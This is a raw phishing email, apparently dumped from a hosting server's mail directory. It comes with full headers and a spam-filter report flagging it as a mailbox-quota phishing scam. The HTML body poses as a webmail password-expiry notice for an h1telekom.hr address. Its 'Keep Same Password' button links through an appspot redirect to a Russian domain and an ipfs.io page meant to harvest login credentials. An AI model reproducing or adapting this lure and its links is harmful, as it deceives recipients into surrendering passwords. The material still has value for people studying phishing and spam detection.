| Dir : /home/ithome/mail/cur/ |
| Server: Linux host100322.itwesthosting.com 3.10.0-1160.144.1.el7.tuxcare.els4.x86_64 #1 SMP Tue Apr 7 08:40:40 UTC 2026 x86_64 IP: 144.91.64.173 |
| Dir : /home/ithome/mail/cur/1758096705.M41510P5294.host100322.itwesthosting.com,S=9711,W=9875:2, |
Return-Path: <info@eurostar.lv>
Delivered-To: ithome@host100322.itwesthosting.com
Received: from host100322.itwesthosting.com
by host100322.itwesthosting.com with LMTP
id GMJQAkFtymiuFAAAp0YrwQ
(envelope-from <info@eurostar.lv>)
for <ithome@host100322.itwesthosting.com>; Wed, 17 Sep 2025 10:11:45 +0200
Return-path: <info@eurostar.lv>
Envelope-to: info@h1telekom.hr
Delivery-date: Wed, 17 Sep 2025 10:11:45 +0200
Received: from v23289523.sin01.serveradd.com ([74.91.223.219]:55552)
by host100322.itwesthosting.com with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
(Exim 4.96.2)
(envelope-from <info@eurostar.lv>)
id 1uynGT-0001NU-1V
for info@h1telekom.hr;
Wed, 17 Sep 2025 10:11:44 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=arcsg.com;
s=default; h=Content-Transfer-Encoding:Content-Type:MIME-Version:Message-ID:
Date:Subject:To:From:Sender:Reply-To:Cc:Content-ID:Content-Description:
Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
In-Reply-To:References:List-Id:List-Help:List-Unsubscribe:List-Subscribe:
List-Post:List-Owner:List-Archive;
bh=X+jnaT3RA5eBelpKtBg9jd5zLX2YnpYNih2QuvbxLpc=; b=gZuyDoHepOMp38SY0zwSrHDZb6
hCSZISwZikezk89CPUVLCIqBX7Oc9ggLh018DWVLQf+jepDbMWCLp5Kth2/V68fPWOGYH6dt/Dl0V
rh6B42aR0VvohC36ASsp290j7EO5NFr3RwDPPw8NFujoVc2qK4US2RMSTfpxfFaWexBSI1VK5nZXv
1ghuhHd9sbcT1RT2evkVJTwKdCgJx6eha2JDo/i4lZ524UGsHfvkGfw/414AhtxbpiafE2RYyRZrz
wtL5v0IAup6ITTBc8UntvjWtut7chxlxbtN5iNLk+EUuVkq6URcqbeFQA9EYH+HBTVOH5JryZs9aA
J1BCx+Pw==;
Received: from [38.255.34.209] (port=60494 helo=eurostar.lv)
by v23289523.sin01.serveradd.com with esmtpa (Exim 4.98.2)
(envelope-from <info@eurostar.lv>)
id 1uynGP-00000006jzh-03O2
for info@h1telekom.hr;
Wed, 17 Sep 2025 04:11:41 -0400
From: Mail Administrator <info@eurostar.lv>
To: info@h1telekom.hr
Date: 17 Sep 2025 01:11:39 -0700
Message-ID: <20250917011139.3BCF25FB58CB8BE0@eurostar.lv>
MIME-Version: 1.0
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - v23289523.sin01.serveradd.com
X-AntiAbuse: Original Domain - h1telekom.hr
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - eurostar.lv
X-Get-Message-Sender-Via: v23289523.sin01.serveradd.com: authenticated_id: consteel@arcsg.com
X-Authenticated-Sender: v23289523.sin01.serveradd.com: consteel@arcsg.com
X-Source:
X-Source-Args:
X-Source-Dir:
X-Spam-Status: Yes, score=12.0
X-Spam-Score: 120
X-Spam-Bar: ++++++++++++
X-Spam-Report: Spam detection software, running on the system "host100322.itwesthosting.com",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: webmail h1telekom.hr, Your account info@h1telekom.hr password
will expire on 9/17/2025 1:11:39 a.m.. Please kindly use the button below
to continue with the same password.
Content analysis details: (12.0 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was
blocked. See
http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
for more information.
[URIs: ipfs.io]
0.0 URIBL_PH_SURBL Contains an URL listed in the PH SURBL blocklist
[URIs: inge_goldatl_as-dot-mm-event.appspot.com]
2.5 URIBL_DBL_PHISH Contains a Phishing URL listed in the Spamhaus
DBL blocklist
[URIs: 47-detsad.ru]
0.0 T_SPF_PERMERROR SPF: test of record failed (permerror)
0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge
0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
0.0 HTML_MESSAGE BODY: HTML included in message
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily
valid
0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[74.91.223.219 listed in bl.score.senderscore.com]
0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE:
The query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[74.91.223.219 listed in sa-trusted.bondedsender.org]
2.8 URI_IPFSIO References Interplanetary File System PtP content via
ipfs.io, likely phishing
0.0 T_KAM_HTML_FONT_INVALID Test for Invalidly Named or Formatted
Colors in HTML
0.0 KAM_SHORT Use of a URL Shortener for very short URL
0.2 KAM_DMARC_NONE DKIM has Failed or SPF has failed on the message
and the domain has no DMARC policy
0.0 URI_IPFS References Interplanetary File System PtP content,
probable phishing
6.2 KAM_MAILBOX2 Mailbox Quota Phishing Scams
X-Spam-Flag: YES
Subject: ***SPAM*** info@h1telekom.hr password expires 9/17/2025 1:11:39 a.m.
X-From-Rewrite: unmodified, forwarded message
<!DOCTYPE HTML>
<html><head><title></title>
<meta http-equiv=3D"X-UA-Compatible" content=3D"IE=3Dedge">
</head>
<body style=3D"margin: 0.4em;">
<p align=3D"center" style=3D"color: rgb(0, 0, 0); text-transform: none; tex=
t-indent: 0px; letter-spacing: normal; font-family: System; font-size: 15px=
; font-style: italic; font-weight: bold; margin-top: 0px; margin-bottom: 1r=
em; word-spacing: 0px; white-space: normal; box-sizing: border-box; orphans=
: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligature=
s: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-=
decoration-thickness: initial; text-decoration-style:=20
initial; text-decoration-color: initial;"><font color=3D"#fd7902" size=3D"7=
" style=3D"box-sizing: border-box;">webmail</font><br style=3D"box-sizing: =
border-box;"></p>
<span style=3D"text-align: left; color: rgb(34, 34, 34); text-transform: no=
ne; text-indent: 0px; letter-spacing: normal; font-family: Roboto, sans-ser=
if; font-size: 14px; font-style: normal; font-weight: 400; word-spacing: 0p=
x; white-space: normal; box-sizing: border-box; orphans: 2; widows: 2; back=
ground-color: rgb(255, 255, 255); font-variant-ligatures: normal; font-vari=
ant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness=
: initial; text-decoration-style: initial;=20
text-decoration-color: initial;"><p align=3D"center" style=3D"font-family: =
Arial, sans-serif; margin-top: 0px; margin-bottom: 1rem; box-sizing: border=
-box;"><span style=3D"text-align: left; color: rgb(44, 54, 58); font-family=
: Roboto, sans-serif; box-sizing: border-box;"><font color=3D"#000000" styl=
e=3D"box-sizing: border-box;"><font color=3D"#000000" style=3D"box-sizing: =
border-box;"><font size=3D"6" style=3D"box-sizing: border-box;">
<a style=3D"color: rgb(34, 34, 34); box-sizing: border-box; background-colo=
r: transparent;">h1telekom.hr</a></font></font></font></span><font size=3D"=
5" style=3D"box-sizing: border-box;"><font color=3D"#000000">,</font><br st=
yle=3D"box-sizing: border-box;"><font color=3D"#000000">Your account<span>&=
nbsp;</span></font>info@h1telekom.hr<font color=3D"#000000"> password =
will<span> </span></font>expire on<font color=3D"#000000"> 9/17/2=
025 1:11:39 a.m..</font><br style=3D"box-sizing: border-box;"></font></p>
<p align=3D"center" style=3D"font-family: Arial, sans-serif; margin-top: 0p=
x; margin-bottom: 1rem; box-sizing: border-box;"><font color=3D"#000000">Pl=
ease kindly use the button below to continue with the same password.</font>=
<font style=3D"box-sizing: border-box;"><br style=3D"box-sizing: border-box=
;"><br style=3D"box-sizing: border-box;">
<a style=3D"padding: 12px 18px; border: 1px solid rgb(0, 115, 255); border-=
image: none; width: 368px; height: 32px; color: rgb(255, 255, 255); line-he=
ight: 27px; box-sizing: border-box; background-color: rgb(0, 115, 255); tex=
t-decoration-line: none;" href=3D"https://inge_goldatl_as-dot-mm-event.apps=
pot.com/em_qpAQlhveTMO7E0k7TAlt?url=3Dhttps://47-detsad.ru/index090.html?et=
a=3Dinfo@h1telekom.hr" target=3D"_blank" rel=3D"noreferrer"=20
data-saferedirecturl=3D"https://www.google.com/url?q=3Dhttps://ipfs.io/ipfs=
/bafybeielntggkivz26qyznzjkbhobnquprbpxeq6mqm2k6quonxns3huqu/Teegramdomain2=
=2Ehtml/?eta%3D%5B%5B-Email-%5D%5D&source=3Dgmail&ust=3D17573758388=
68000&usg=3DAOvVaw1oj7JAp39Ylr-3nQ3iWXLX">Keep Same Password</a><font s=
tyle=3D"box-sizing: border-box;"><br style=3D"box-sizing: border-box;"><fon=
t size=3D"6" style=3D"box-sizing: border-box;"><br style=3D"box-sizing: bor=
der-box;"><font color=3D"#000000">Automated Message</font>
<font style=3D"box-sizing: border-box;"><br style=3D"box-sizing: border-box=
;">info@h1telekom.hr</font></font></font></font></p></span><p><br></p></bod=
y></html>